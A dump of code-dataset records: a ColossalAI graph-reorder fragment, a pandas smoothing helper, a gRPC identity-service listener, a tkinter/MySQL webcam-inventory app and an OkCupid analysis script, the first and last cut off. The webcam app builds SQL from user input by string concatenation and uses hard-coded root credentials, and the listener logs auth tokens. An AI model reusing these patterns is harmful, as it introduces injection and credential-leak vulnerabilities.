len(chunk_info[\"args\"][\"prepose_nodes\"]),\n chunk_info[\"region\"][1],\n )\n new_inputs_dim = []\n for _, input_dim in enumerate(chunk_info[\"inputs_dim\"]):\n new_input_dim = {}\n for k, v in input_dim.items():\n new_input_dim[reorder_map[k]] = v\n new_inputs_dim.append(new_input_dim)\n chunk_info[\"inputs_dim\"] = new_inputs_dim\n return chunk_info\n\n def _update_all_reorder_map(self, reorder_map):\n for origin_idx, map_idx in self.all_reorder_map.items():\n self.all_reorder_map[origin_idx] = reorder_map[map_idx]\n\n def _reorder_self_node_list(self, reorder_map):\n new_node_list = [None for _ in range(len(self.node_mgr.get_node_list()))]\n for old_idx, new_idx in reorder_map.items():\n new_node_list[new_idx] = self.node_mgr.get_node_by_idx(old_idx)\n self.node_mgr.update_node_list(new_node_list)\n\n def _reorder_idx_trace(self, reorder_map):\n # reorder list\n new_idx_trace_list = [None for _ in range(len(self.trace_indice.indice_trace_list))]\n for old_idx, new_idx in reorder_map.items():\n new_idx_trace_list[new_idx] = self.trace_indice.indice_trace_list[old_idx]\n self.trace_indice.indice_trace_list = new_idx_trace_list\n # update compute\n for idx_trace in self.trace_indice.indice_trace_list:\n compute = idx_trace[\"compute\"]\n for dim_compute in compute:\n for idx, i in enumerate(dim_compute):\n dim_compute[idx] = reorder_map[i]\n # update source\n for idx_trace in self.trace_indice.indice_trace_list:\n source = idx_trace[\"source\"]\n for dim_idx, dim_source in enumerate(source):\n new_dim_source = {}\n for k, v in dim_source.items():\n new_dim_source[reorder_map[k]] = v\n source[dim_idx] = new_dim_source\n\n def reorder_all(self, chunk_info):\n if chunk_info is None:\n return chunk_info\n if len(chunk_info[\"args\"][\"prepose_nodes\"]) == 0:\n return chunk_info\n reorder_map = self._get_reorder_map(chunk_info)\n self._update_all_reorder_map(reorder_map)\n self._reorder_idx_trace(reorder_map)\n self._reorder_self_node_list(reorder_map)\n chunk_info = self._reorder_chunk_info(chunk_info, reorder_map)\n return chunk_info\n\n def reorder_node_list(self, node_list):\n new_node_list = [None for _ in range(len(node_list))]\n for old_idx, new_idx in self.all_reorder_map.items():\n new_node_list[new_idx] = node_list[old_idx]\n return new_node_list\n\n def tmp_reorder(self, node_list, chunk_info):\n if len(chunk_info[\"args\"][\"prepose_nodes\"]) == 0:\n return node_list, chunk_info\n reorder_map = self._get_reorder_map(chunk_info)\n\n # new tmp node list\n new_node_list = [None for _ in range(len(node_list))]\n for old_idx, new_idx in reorder_map.items():\n new_node_list[new_idx] = node_list[old_idx]\n\n chunk_info = self._reorder_chunk_info(chunk_info, reorder_map)\n return new_node_list, chunk_info\n","repo_name":"hpcaitech/ColossalAI","sub_path":"colossalai/autochunk/reorder_graph.py","file_name":"reorder_graph.py","file_ext":"py","file_size_in_byte":4759,"program_lang":"python","lang":"en","doc_type":"code","stars":35338,"dataset":"github-code","pt":"62"} +{"seq_id":"32766324039","text":"\r\ndef rolling_trend(data,\r\n resample_rule='30min',\r\n resample_func='mean',\r\n fillna_method='ffill',\r\n rolling_window=48,\r\n rolling_func='mean'):\r\n \"\"\"\r\n\r\n :param data: pandas series with timestamp as index\r\n :param resample_rule:\r\n :param resample_func:\r\n :param fillna_method:\r\n :param rolling_window:\r\n :param rolling_func:\r\n :return: smoothed data\r\n \"\"\"\r\n data = data.resample(rule=resample_rule,\r\n axis=0,\r\n closed='right',\r\n label='right').agg(func=resample_func)\r\n if fillna_method is not None:\r\n data = data.fillna(method=fillna_method)\r\n data = data.rolling(window=rolling_window,\r\n min_periods=1,\r\n center=False,\r\n win_type=None,\r\n axis=0,\r\n closed='both').agg(func=rolling_func)\r\n return data\r\n","repo_name":"asaadatev/ASaadatEVRepo","sub_path":"XFABDashboarder/Dependencies/edwards/dh_dp/dp_trend.py","file_name":"dp_trend.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19718737276","text":"\"\"\"\n@author: Arkan M. Gerges\n\"\"\"\nimport time\nfrom typing import Any\n\nimport grpc\n\nimport src.port_adapter.AppDi as AppDi\nfrom src.application.OuApplicationService import OuApplicationService\nfrom src.domain_model.ou.Ou import Ou\nfrom src.domain_model.resource.exception.OuDoesNotExistException import (\n OuDoesNotExistException,\n)\nfrom src.domain_model.resource.exception.UnAuthorizedException import (\n UnAuthorizedException,\n)\nfrom src.domain_model.token.TokenService import TokenService\nfrom src.port_adapter.api.grpc.listener.BaseListener import BaseListener\nfrom src.resource.logging.decorator import debugLogger\nfrom src.resource.logging.logger import logger\nfrom src.resource.logging.opentelemetry.OpenTelemetry import OpenTelemetry\nfrom src.resource.proto._generated.identity.ou_app_service_pb2 import (\n OuAppService_ouByNameResponse,\n OuAppService_ousResponse,\n OuAppService_ouByIdResponse,\n OuAppService_newIdResponse,\n)\nfrom src.resource.proto._generated.identity.ou_app_service_pb2_grpc import (\n OuAppServiceServicer,\n)\n\n\nclass OuAppServiceListener(OuAppServiceServicer, BaseListener):\n \"\"\"The listener function implements the rpc call as described in the .proto file\"\"\"\n\n def __init__(self):\n self.counter = 0\n self.last_print_time = time.time()\n self._tokenService = TokenService()\n\n def __str__(self):\n return self.__class__.__name__\n\n @debugLogger\n @OpenTelemetry.grpcTraceOTel\n def new_id(self, request, context):\n try:\n token = self._token(context)\n claims = self._tokenService.claimsFromToken(token=token) if \"token\" != \"\" else None\n logger.debug(\n f\"[{OuAppServiceListener.new_id.__qualname__}] - claims: {claims}\\n\\t \\\n token: {token}\"\n )\n appService: OuApplicationService = AppDi.instance.get(OuApplicationService)\n return OuAppService_newIdResponse(id=appService.newId())\n except UnAuthorizedException:\n context.set_code(grpc.StatusCode.PERMISSION_DENIED)\n context.set_details(\"Un Authorized\")\n return OuAppService_newIdResponse()\n\n @debugLogger\n @OpenTelemetry.grpcTraceOTel\n def ou_by_name(self, request, context):\n try:\n ouAppService: OuApplicationService = AppDi.instance.get(OuApplicationService)\n token = self._token(context)\n ou: Ou = ouAppService.ouByName(name=request.name, token=token)\n response = OuAppService_ouByNameResponse()\n self._addObjectToResponse(obj=ou, response=response)\n return response\n except OuDoesNotExistException:\n context.set_code(grpc.StatusCode.NOT_FOUND)\n context.set_details(\"Ou does not exist\")\n return OuAppService_ouByNameResponse()\n # except Exception as e:\n # context.set_code(grpc.StatusCode.UNKNOWN)\n # context.set_details(f'{e}')\n # return identity_pb2.OuResponse()\n\n \"\"\"\n c4model|cb|identity:Component(identity__grpc__OuAppServiceListener__ous, \"Get ous\", \"grpc listener\", \"Get all ous\")\n \"\"\"\n\n @debugLogger\n @OpenTelemetry.grpcTraceOTel\n def ous(self, request, context):\n try:\n token = self._token(context)\n resultSize = request.result_size if request.result_size >= 0 else 10\n claims = self._tokenService.claimsFromToken(token=token) if \"token\" != \"\" else None\n token = self._token(context)\n logger.debug(\n f\"[{OuAppServiceListener.ous.__qualname__}] - claims: {claims}\\n\\t \\\nresultFrom: {request.result_from}, resultSize: {resultSize}, token: {token}\"\n )\n ouAppService: OuApplicationService = AppDi.instance.get(OuApplicationService)\n\n orderData = [{\"orderBy\": o.orderBy, \"direction\": o.direction} for o in request.orders]\n result: dict = ouAppService.ous(\n resultFrom=request.result_from,\n resultSize=resultSize,\n token=token,\n order=orderData,\n )\n response = OuAppService_ousResponse()\n for ou in result[\"items\"]:\n response.ous.add(id=ou.id(), name=ou.name())\n response.total_item_count = result[\"totalItemCount\"]\n logger.debug(f\"[{OuAppServiceListener.ous.__qualname__}] - response: {response}\")\n return OuAppService_ousResponse(ous=response.ous, total_item_count=response.total_item_count)\n except OuDoesNotExistException:\n context.set_code(grpc.StatusCode.NOT_FOUND)\n context.set_details(\"No ous found\")\n return OuAppService_ousResponse()\n except UnAuthorizedException:\n context.set_code(grpc.StatusCode.PERMISSION_DENIED)\n context.set_details(\"Un Authorized\")\n return OuAppService_ousResponse()\n\n \"\"\"\n c4model|cb|identity:Component(identity__grpc__OuAppServiceListener__ouById, \"Get ou by id\", \"grpc listener\", \"Get a ou by id\")\n \"\"\"\n\n @debugLogger\n @OpenTelemetry.grpcTraceOTel\n def ou_by_id(self, request, context):\n try:\n ouAppService: OuApplicationService = AppDi.instance.get(OuApplicationService)\n token = self._token(context)\n ou: Ou = ouAppService.ouById(id=request.id, token=token)\n logger.debug(f\"[{OuAppServiceListener.ou_by_id.__qualname__}] - response: {ou}\")\n response = OuAppService_ouByIdResponse()\n self._addObjectToResponse(obj=ou, response=response)\n return response\n except OuDoesNotExistException:\n context.set_code(grpc.StatusCode.NOT_FOUND)\n context.set_details(\"Ou does not exist\")\n return OuAppService_ouByIdResponse()\n except UnAuthorizedException:\n context.set_code(grpc.StatusCode.PERMISSION_DENIED)\n context.set_details(\"Un Authorized\")\n return OuAppService_ouByIdResponse()\n\n @debugLogger\n def _addObjectToResponse(self, obj: Ou, response: Any):\n response.ou.id = obj.id()\n response.ou.name = obj.name()\n\n @debugLogger\n def _token(self, context) -> str:\n return super()._token(context=context)\n","repo_name":"arkanmgerges/cafm.identity","sub_path":"src/port_adapter/api/grpc/listener/OuAppServiceListener.py","file_name":"OuAppServiceListener.py","file_ext":"py","file_size_in_byte":6279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29773704418","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\nfrom PIL import ImageTk\nimport PIL.Image\nfrom tkinter.ttk import * \n\n\n# # Databse Connectivity\n\n# In[2]:\n\n\nimport mysql.connector\ndb_connection = mysql.connector.connect(\nhost= \"localhost\",\nuser= \"root\",\npasswd= \"root\")\nprint(db_connection)\n\n\n# In[3]:\n\n\ndb_cursor = db_connection.cursor(buffered=True)\n\ndb_cursor.execute(\"DROP DATABASE my_first_db\")\ndb_cursor.execute(\"CREATE DATABASE my_first_db\")\ndb_cursor.execute(\"SHOW DATABASES\")\ndb_cursor.execute(\"USE my_first_db\")\ndb_cursor.execute(\"CREATE TABLE WebCamDB (Id VARCHAR(255) PRIMARY KEY,Location VARCHAR(255))\")\n\n# student_sql_query = \"INSERT INTO WebCamDB(Id,Location) VALUES(01, 'John')\"\n\n\n# # GUI for WEBCAMERA\n\n# In[4]:\n\n\nfrom tkinter import *\nimport tkinter as tk\nfrom tkinter import messagebox\nfrom tkinter import ttk\n\ndef show_database():\n db_cursor.execute(\"Select * from WebCamDB\")\n canvas=Tk()\n canvas.title('WebCam DB')\n label = tk.Label(canvas, text=\"WebCamera Database\", font=(\"Arial\",20)).grid(row=0, columnspan=3)\n \n cols = ('Camera Serial No.', 'Location')\n listBox = ttk.Treeview(canvas, columns=cols, show='headings')\n for col in cols:\n listBox.heading(col, text=col) \n listBox.grid(row=1, column=0, columnspan=2)\n tempList=[]\n for db in db_cursor:\n tempList.append(db)\n for (name, score) in enumerate(tempList, start=1):\n listBox.insert(\"\", \"end\", values=(score))\n closeButton = tk.Button(canvas, text=\"Close\", width=15, command=exit).grid(row=4, column=1)\n\n# canvas.geometry('250x100')\n canvas.configure(bg='white')\n# message=tk.Label(canvas, text=db_cursor,fg='green',bg='white',font=(\"arial\", 10,'bold'))\n# message.place(x=10,y=50)\n# canvas.after(1000, lambda: canvas.destroy())\n canvas.mainloop()\n \ndef show_entry_fields():\n var1=str(srno_entry.get())\n var2=str(location_entry.get())\n sql_query = \"INSERT INTO WebCamDB(Id,Location) VALUES(\"+var1+\", '\"+var2+\"')\"\n db_cursor.execute(sql_query)\n canvas=Tk()\n canvas.title('Successfully added')\n canvas.geometry('250x100')\n canvas.configure(bg='white')\n message=tk.Label(canvas, text=\"Camera Details Added Successfully!\",fg='green',bg='white',font=(\"arial\", 10,'bold'))\n message.place(x=10,y=50)\n canvas.after(1000, lambda: canvas.destroy())\n canvas.mainloop()\n \n \nwindow=Tk()\nwindow.title('WebCamInterface') \nwindow.geometry('750x500+10+10') \nwindow.configure(background = 'black')\n# print(img)\n\nlbl=Label(window, text=\"WEB CAMERA DETAILS\", fg='white',bg='black', font=(\"Algerian\", 20,'bold'))\nlbl.place(x=225, y=125)\n\nsrno=tk.Label(window, text=\"Camera Serial No.\",fg='white',bg='black', font=(\"Algerian\", 15))\nsrno.place(x=125,y=200)\nsrno_entry = tk.Entry(window,font=(\"Comic Sans\", 15))\nsrno_entry.place(x=325,y=200)\n\nlocation=tk.Label(window, text=\"Camera Location\",fg='white',bg='black',font=(\"Algerian\", 15))\nlocation.place(x=125,y=250)\nlocation_entry = tk.Entry(window,font=(\"Comic Sans\", 15))\nlocation_entry.place(x=325,y=250)\n\nadd=tk.Button(window,text='ADD', command=show_entry_fields,font=(\"Comic Sans\", 14))\nadd.place(x=350,y=300)\nshow=tk.Button(window,text='Show Database', command=show_database,font=(\"Comic Sans\", 14))\nshow.place(x=600,y=350)\n\nimages=[]\nfor i in range(0,5):\n temp=i+1\n path=\"images/image\"+str(temp)+\".jpg\"\n im = PIL.Image.open(path)\n im=im.resize((150,100))\n images.append(ImageTk.PhotoImage(im,master=window))\n\nimage1= Label(window, image=images[0])\nimage1.place(x=0,y=0)\nimage2= Label(window, image=images[1])\nimage2.place(x=150*1,y=0)\nimage3= Label(window, image=images[2])\nimage3.place(x=150*2,y=0)\nimage4= Label(window, image=images[3])\nimage4.place(x=150*3,y=0)\nimage5= Label(window, image=images[4])\nimage5.place(x=150*4,y=0)\n\ndown=400\n\ndimage1= Label(window, image=images[0])\ndimage1.place(x=0,y=down)\ndimage2= Label(window, image=images[1])\ndimage2.place(x=150*1,y=down)\ndimage3= Label(window, image=images[2])\ndimage3.place(x=150*2,y=down)\ndimage4= Label(window, image=images[3])\ndimage4.place(x=150*3,y=down)\ndimage5= Label(window, image=images[4])\ndimage5.place(x=150*4,y=down)\n\n\nwindow.mainloop()\n\n\ndb_cursor.execute(\"Select * FROM WebCamDB\")\ndataset=[]\nfor db in db_cursor:\n dataset.append(db)\ndataset=pd.DataFrame(dataset)\ndataset\n\n\n\n\n","repo_name":"divyanindurkhya/Software-Engineering-project","sub_path":"Deploy_Modules/Module_1/webCamDb.py","file_name":"webCamDb.py","file_ext":"py","file_size_in_byte":4325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"17005129837","text":"# The OkCupid dataset is very interesting and has many useful elements, but the data have some inherent issues that were \n# fascinating to consider while trying to formulate good questions around the data.\n\n\nimport pandas as pd\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.svm import LinearSVC\nfrom sklearn.neighbors import KNeighborsRegressor\nfrom sklearn.linear_model import LinearRegression\n\n\n# First I'll load the packages I'll use and import the data.\n# I'll quickly check what the column names for the dataset are and how many rows I'm working with:\n\n\ndf = pd.read_csv('profiles.csv')\n\nprint(df.columns)\nprint(len(df))\nprint(df.head())\n\n\n# Here is the function I'll be using for all scores:\n\n\ndef model_scores(train_labels, train_predictons, test_labels, test_predictions, model_to_score):\n \n train_accuracy = accuracy_score(train_labels, train_predictions)\n test_accuracy = accuracy_score(test_labels, test_predictions)\n \n train_precision = precision_score(train_labels, train_predictions, average='macro')\n test_precision = precision_score(test_labels, test_predictions, average='macro')\n \n train_recall = recall_score(train_labels, train_predictions, average='macro')\n test_recall = recall_score(test_labels, test_predictions, average='macro')\n\n print('Training data accuracy: ' + str(train_accuracy) + '; Test data accuracy: ' + str(test_accuracy))\n print('Training data precision: ' + str(train_precision) + '; Test data precision: ' + str(test_precision))\n print('Training data recall: ' + str(train_recall) + '; Test data recall: ' + str(test_recall) + '\\n')\n \n\n# So it looks like I'll be dealing with a lot of categorical data. I'll have to codify these before performing any analyses. In\n# the meantime, I want to get a sense of what kind of biases we have in the data. \n# For simplicity, I'll only plot a few of the features this way:\n\n\ndf_plot = df.dropna(axis=0, subset=['drinks', 'body_type', 'drugs'])[['drinks', 'body_type', 'drugs']]\n\nfig = plt.figure(figsize=[16, 4])\n\nfor i in range(len(df_plot.columns)):\n \n column_name = list(df_plot.columns)[i]\n \n ax = fig.add_subplot(1,4,i+1)\n ax.bar(list(df_plot[column_name].value_counts().index), list(df_plot[column_name].value_counts()))\n \n plt.xticks(rotation=45, horizontalalignment='right')\n plt.title(column_name)\n \nax = fig.add_subplot(1, 4, 4)\nax.hist(df.dropna(axis=0, subset=['height'])['height'], bins=20)\nplt.title('height')\n\nplt.show()\n\n\n# Several of the features of the data appear to have pretty heavy biases for certain categories. This could make it difficult\n# for classification methods, as there are fewer examples for certain categories of certain features.\n# Also, there seem to be some outliers in height which skew the data. Those should be removed before analysis.\n# But given how much data there was about health and lifestyle, I wanted to see how well certain lifestyle features correlate\n# with the self-reported health status. \n# In other words, are certain types of lifestyles good at predicting what someone's physique might be?\n# As a proxy for this status, I chose to look at body_type as the target.\n\n## Does lifestyle (ie. diet, drinking, activity level, etc.) predict body type?\n# The lifestyle features I chose to initially look at for this classification model were:\n\n# * diet\n# * drinks\n# * drugs\n# * smokes\n# * height\n# * smokes\n# * income\n# * age\n# * body_type\n# * how_active (generated by searching essays for keywords)\n\n# First, I needed to combine and read through essays to look for how active the users seem to be. I counted the number of times\n# that certain physical activity keywords appeared in users' essays as a measure of \"how active\" the user is.\n\n# First, I had to combine all of the essays into one (this was taken from the example provided):\n\n\nessay_cols = [\"essay0\", \"essay1\", \"essay2\", \"essay3\", \"essay4\", \"essay5\", \"essay6\", \"essay7\", \"essay8\", \"essay9\"]\n\nall_essays = df[essay_cols].replace(np.nan, '', regex=True)\ndf['all_essays'] = all_essays[essay_cols].apply(lambda x: ' '.join(x), axis=1)\n\n\n# Next, I needed to codify all of my categorical health categories and remove outliers from my continuous feature, height.\n# Here, I prepare to codify all of the features of interest. First, I generated a separate df for these analyses:\n\n\ndf_health = df.dropna(axis=0, subset=['body_type', 'diet', 'all_essays', 'height', \n 'drinks', 'smokes', 'drugs', 'income', 'age'])[['body_type', 'diet', 'all_essays',\n 'height', 'drinks', 'smokes', 'drugs',\n 'income', 'age']]\n\n# I want to know how many rows made it through the dropna function:\n\n\nprint(len(df_health))\n\n\n# Now all of the values that will be used to index and codify the features:\n\n\nbody_categories = ['rather not say', 'used up', 'overweight', 'full figured', 'a little extra', 'curvy',\n 'average', 'thin', 'skinny', 'fit', 'athletic', 'jacked']\n\ndiets = ['strictly other', 'other', 'mostly other', \n 'strictly vegan', 'vegan', 'mostly vegan',\n 'strictly halal', 'halal', 'mostly halal', \n 'strictly kosher', 'kosher', 'mostly kosher', \n 'strictly vegetarian', 'vegetarian', 'mostly vegetarian', \n 'strictly anything', 'anything', 'mostly anything', ]\n\ndrinks_categories = ['not at all', 'rarely', 'socially', 'often', 'very often', 'desperately']\n\nsmokes_categories = ['no', 'trying to quit', 'sometimes', 'when drinking', 'yes']\n\ndrugs_categories = ['never', 'sometimes', 'often']\n\n\n# Here I generate the new coded columns:\n\n\ndf_health['body_code'] = df_health.body_type.apply(lambda x: body_categories.index(x))\n\ndf_health['diet_code'] = df_health.diet.apply(lambda x: diets.index(x))\n\ndf_health['drinks_code'] = df_health.drinks.apply(lambda x: drinks_categories.index(x))\n\ndf_health['smokes_code'] = df_health.smokes.apply(lambda x: smokes_categories.index(x))\n\ndf_health['drugs_code'] = df_health.drugs.apply(lambda x: drugs_categories.index(x))\n\n\n# Here are the keywords I'll be searching for in the essays to get some sense of whether a person is active or not\n\n\nsports = ['run', 'running', 'cycling', 'cycle', 'bike', 'swimming', 'swim',\n 'climbing', 'climb', 'rowing', 'row', 'surfing', 'surf', 'work-out',\n 'gym', 'workout', 'exercise', 'exercising', 'work out', 'working out', 'active',\n 'keep active', 'play sports', 'playing sports', 'hockey', 'soccer', 'football',\n 'basketball', 'tennis', 'rugby', 'physical activity', 'keep active', 'keeping active', 'kayaking', \n 'kayak', 'hiking', 'hike', 'sporty', 'athletic', 'yoga', 'lifting weights', 'weight training',\n 'cross-fit', 'crossfit', 'staying fit', 'keep fit', 'stay fit', 'keep fit']\n\n\n# I'll count the number of times the keywords appear in each essay as a measure of \"how active\" a person is:\n\n\ndf_health['how_active'] = df_health.all_essays.apply(lambda x: sum([word in x for word in sports]))\n\n\n# Here I'll remove outliers from the height and income feature column:\n\n\ndf_health = df_health[(df_health.height > 55) & (df_health.height < 85)] # This gives us a range of people 4.5ft-7ft\n\n\n# I want to see if any of the data correlate with body_code:\n\n\ndf_health.corr()\n\n\n# Just to get an idea of whether we can already see some differentiated groups:\n\n\nplt.scatter(df_health['height'], df_health['how_active'], c=range(len(df_health['body_code'])), alpha=0.1)\nplt.xlabel('Height')\nplt.ylabel('How Active')\nplt.title('Body code plotted against Height and Level of Activity')\nplt.show()\n\n\n# From the correlation table, it seems like height and \"how_active\" correlate the best with our body_code, so I'll try those\n# features first.\n# I'll start by generating a training and test set for analysis\n# Now to scale the data for analysis:\n\n\ncolumns = ['how_active', 'smokes_code', 'height']\nscaler = MinMaxScaler()\nscaler.fit(df_health[columns])\n\nKN_features = pd.DataFrame(scaler.transform(df_health[columns]), columns=columns)\n\ntrain_data, test_data, train_labels, test_labels = train_test_split(KN_features, df_health['body_code'], \n test_size=0.2, random_state=7)\n\n\n# I've chosen K Nearest Neighbors classifier for a first pass at the analysis. This is going to predict what someone's\n# 'body_code' is based on the class of the data that is nearest to my test data points in the feature space.\n# Now I'll see what the best k is for the nearest neighbors analysis by testing different values and generating\n# the results from scoring the test data set:\n\n\nfeatures = columns\nscores = []\n\nfor i in range(1, 41):\n \n classifier = KNeighborsClassifier(n_neighbors=i, weights='distance')\n classifier.fit(train_data[features], train_labels)\n \n scores.append(classifier.score(test_data[features], test_labels))\n\nplt.plot(range(1, 41), scores)\nplt.xlabel('k')\nplt.ylabel('Score')\nplt.title('Score for every k')\nplt.show()\n\nideal_k = scores.index(max(scores))\n\nprint(ideal_k)\n\n\n# Now I'll see how well our classifier did for each category of body_type:\n\n\nk = 25\n\nclassifier = KNeighborsClassifier(n_neighbors=k, weights='distance')\nclassifier.fit(train_data[features], train_labels)\n\ntrain_predictions = classifier.predict(train_data[features])\ntest_predictions = classifier.predict(test_data[features])\n\nmodel_scores(train_labels, train_predictions, test_labels, test_predictions, classifier)\n\ntrain_f1 = f1_score(train_labels, train_predictions, average=None)\ntest_f1 = f1_score(test_labels, test_predictions, average=None)\n\nprint('F1 Scores for training data:\\n' + ', '.join(['%s: %f' % (body_categories[i], list(train_f1)[i]) for i in range(len(body_categories))]) + '\\n')\nprint('F1 Scores for test data:\\n' + ', '.join(['%s: %f' % (body_categories[i], list(test_f1)[i]) for i in range(len(body_categories))]) + '\\n')\nprint('Proportions of each class in the test data:\\n' + ', '.join(['%s: %f' % (i, float(test_labels.value_counts()[body_categories.index(i)])/float(len(test_labels))) for i in body_categories]) + '\\n')\n\n\n# So it looks like I overfit the training data a bit.\n# My model seems a bit better at predicting when someone has an average body type, but that's likely due to the fact that there\n# are so many people that described themselves as average, so guessing \"average\" probably doesn't get you too far off.\n# The model seems (slightly) better than chance at predicting when someone has a \"fit\" or \"athletic\" body type. This is\n# probably where my \"how_active\" feature really comes into play.\n# Just to see if I could confirm these results with another classifier, I ran a SVM classifier using these data.\n\n\nsvc_classifier = LinearSVC()\nsvc_classifier.fit(train_data, train_labels)\n\ntrain_predictions = svc_classifier.predict(train_data[features])\ntest_predictions = svc_classifier.predict(test_data[features])\n\nmodel_scores(train_labels, train_predictions, test_labels, test_predictions, svc_classifier)\n\ntrain_f1 = f1_score(train_labels, train_predictions, average=None)\ntest_f1 = f1_score(test_labels, test_predictions, average=None)\n\nprint('F1 Scores for training data:\\n' + ', '.join(['%s: %f' % (body_categories[i], list(train_f1)[i]) for i in range(len(body_categories))]) + '\\n')\nprint('F1 Scores for test data:\\n' + ', '.join(['%s: %f' % (body_categories[i], list(test_f1)[i]) for i in range(len(body_categories))]) + '\\n')\nprint('Proportions of each class in the test data:\\n' + ', '.join(['%s: %f' % (i, float(test_labels.value_counts()[body_categories.index(i)])/float(len(test_labels))) for i in body_categories]) + '\\n')\n\n\n# Once again, the model, while much faster to run (as you don't need to determine optimal k), doesn't seem to be able to\n# significantly outperform chance. For the \"average\" and \"atheltic\" body categories, it does seem to do a better job, so some\n# of the features do predict those categories better than other categories.\n# This does make some sense: Someone who reports an athletic body type is probably more likely to report physical activities in\n# their essays.\n# One of the things that is often speculated is that people who are more attractive tend to make more money.\n# I wanted to see if using self-reported body type as a proxy for attractiveness, a model could predict how much money someone\n# makes.\n\n## Can you predict how much someone makes based on what their body type is?\n# For this, I opted to use a regressor. To start, I thought I would try a simple K Nearest Neighbors Regressor:\n\n# Scaling the data and making training and test datasets:\n\n\ndf_income = df_health[(df_health.income > 0) & (df_health.income < 100000)]\n\ncolumns = ['body_code', 'age']\n\nscaler = MinMaxScaler()\nscaler.fit(df_income[columns])\n\nlin_features = pd.DataFrame(scaler.transform(df_income[columns]), columns=columns)\n\ntrain_X, test_X, train_y, test_y = train_test_split(lin_features[columns], \n df_income['income'], test_size=0.2, \n random_state=7)\n\n\n# Finding the optimal k:\n\n\nfeatures = columns\nscores = []\n\nfor i in range(1, 41):\n \n regressor = KNeighborsRegressor(n_neighbors=i, weights='distance')\n regressor.fit(train_X[features], train_y)\n \n scores.append(regressor.score(test_X[features], test_y))\n\nplt.plot(range(1, 41), scores)\nplt.xlabel('k')\nplt.ylabel('Score')\nplt.title('Score for every k')\nplt.show()\n\nideal_k = scores.index(max(scores))\n\nprint(ideal_k)\n\n\n# Fitting the regressor to test data:\n\n\nk = 13\n\nregressor = KNeighborsRegressor(n_neighbors=k, weights='distance')\n\nregressor.fit(train_X, train_y)\n\ntest_predictions = regressor.predict(test_X)\n\nprint('Regressor score:' + str(regressor.score(test_X, test_y)))\n\n\n# Plotting the predicted data against the known data:\n\n\nfig = plt.figure(figsize=(10, 5))\n\nax1 = fig.add_subplot(121, projection='3d')\nax1.scatter(train_X.iloc[:,0], train_X.iloc[:,1], train_y, alpha=0.1, c=train_y, marker='o')\nax1.set_xlabel('Body Code')\nax1.set_ylabel('Age')\nax1.set_zlabel('Income')\nax1.set_title('Training data points')\n\nax2 = fig.add_subplot(122, projection='3d')\nax2.scatter(test_X.iloc[:,0], test_X.iloc[:,1], test_y, alpha=0.3, c=test_predictions, marker='^')\nax2.set_xlabel('Body Code')\nax2.set_ylabel('Age')\nax2.set_zlabel('Income')\nax2.set_title('Predicted test data points')\n\nplt.show()\n\n\n# Well, our KNeighbors regressor isn't too great at prediciting how much someone makes based on how they look or how old they\n# are. The colors at the different Z-positions in the right graph should match the colors from the left graph.\n# What about a Linear Regressor?\n\n# Creating the training and test datasets:\n\n\ntrain_X, test_X, train_y, test_y = train_test_split(lin_features[columns], df_income['income'],\n test_size=0.3, random_state=7)\n\n\n\n# Creating the model:\n\n\nmodel = LinearRegression()\nmodel.fit(train_X, train_y)\n\ntest_predictions = model.predict(test_X)\n\nprint('Regressor score:' + str(model.score(test_X, test_y)))\n\n\n#Plotting the model's prediction data against the known smoke_code:\n\n\nfig = plt.figure(figsize=(10, 5))\nax1 = fig.add_subplot(121, projection='3d')\nax1.scatter(train_X.iloc[:,0], train_X.iloc[:,1], train_y, alpha=0.5, c=train_y)\nax1.plot_surface(np.array([[0, 0], [1, 1]]),\n np.array([[0, 1], [0, 1]]),\n model.predict(np.array([[0, 0, 1, 1],\n [0, 1, 0, 1]]).T).reshape((2, 2)), alpha=0.5)\nax1.set_xlabel('Body Code')\nax1.set_ylabel('Age')\nax1.set_zlabel('Income')\nax1.set_title('Training data points')\n\nax2 = fig.add_subplot(122, projection='3d')\nax2.scatter(test_X.iloc[:,0], test_X.iloc[:,1], test_y, alpha=0.3, c=test_predictions, marker='^')\nax2.plot_surface(np.array([[0, 0], [1, 1]]),\n np.array([[0, 1], [0, 1]]),\n model.predict(np.array([[0, 0, 1, 1],\n [0, 1, 0, 1]]).T).reshape((2, 2)), alpha=0.5)\nax2.set_xlabel('Body Code')\nax2.set_ylabel('Age')\nax2.set_zlabel('Income')\nax2.set_title('Predicted test data points')\n\nplt.show()\n\n\n# The linear regressor may be doing slightly better than my KNeighbors regressor, and computes much faster since you don't need\n# to determine optimal k for the model.\n\n# But, I suspected that the regressors were primarily using age as the primary predictive feature, so I created a regressor\n# with just age to test this.\n\n# Only using age as a feature:\n\n\ncolumns = ['age']\n\nscaler = MinMaxScaler()\nscaler.fit(df_income[columns])\n\nlin_features = pd.DataFrame(scaler.transform(df_income[columns]), columns=columns)\n\ntrain_X, test_X, train_y, test_y = train_test_split(lin_features[columns], df_income['income'],\n test_size=0.3, random_state=7)\n\n\n# Creating the model:\n\n\nmodel = LinearRegression()\nmodel.fit(train_X, train_y)\n\nmodel_standard = model.predict(train_X)\nprediction = model.predict(test_X)\n\nprint('Regressor score:' + str(model.score(test_X, test_y)))\n\nfig = plt.figure(figsize=(10, 5))\n\nax1 = fig.add_subplot(121)\nax1.scatter(train_X, train_y, c=train_y, alpha=0.1)\nax1.plot(train_X, model_standard, c='red')\nax1.set_xlabel('Age')\nax1.set_ylabel('Income')\nax1.set_title('Training data points')\n\nax2 = fig.add_subplot(122)\nax2.scatter(test_X, test_y, c=prediction, alpha=0.3)\nax2.plot(train_X, model_standard, c='red')\nax2.set_xlabel('Age')\nax2.set_title('Predicted test data points')\n\nplt.show()\n\n\n# Age doesn't seem to perform any better than using age and body_type. If anything, it performs slightly worse. So our original\n# regressor was the better way of predicting income.\n# These data may reflect actual population demographics, but it's also possible that the self-reported nature of these features\n# leads to an artificial bias. For example: drinking \"socially\" may be over-reported in the context of a dating 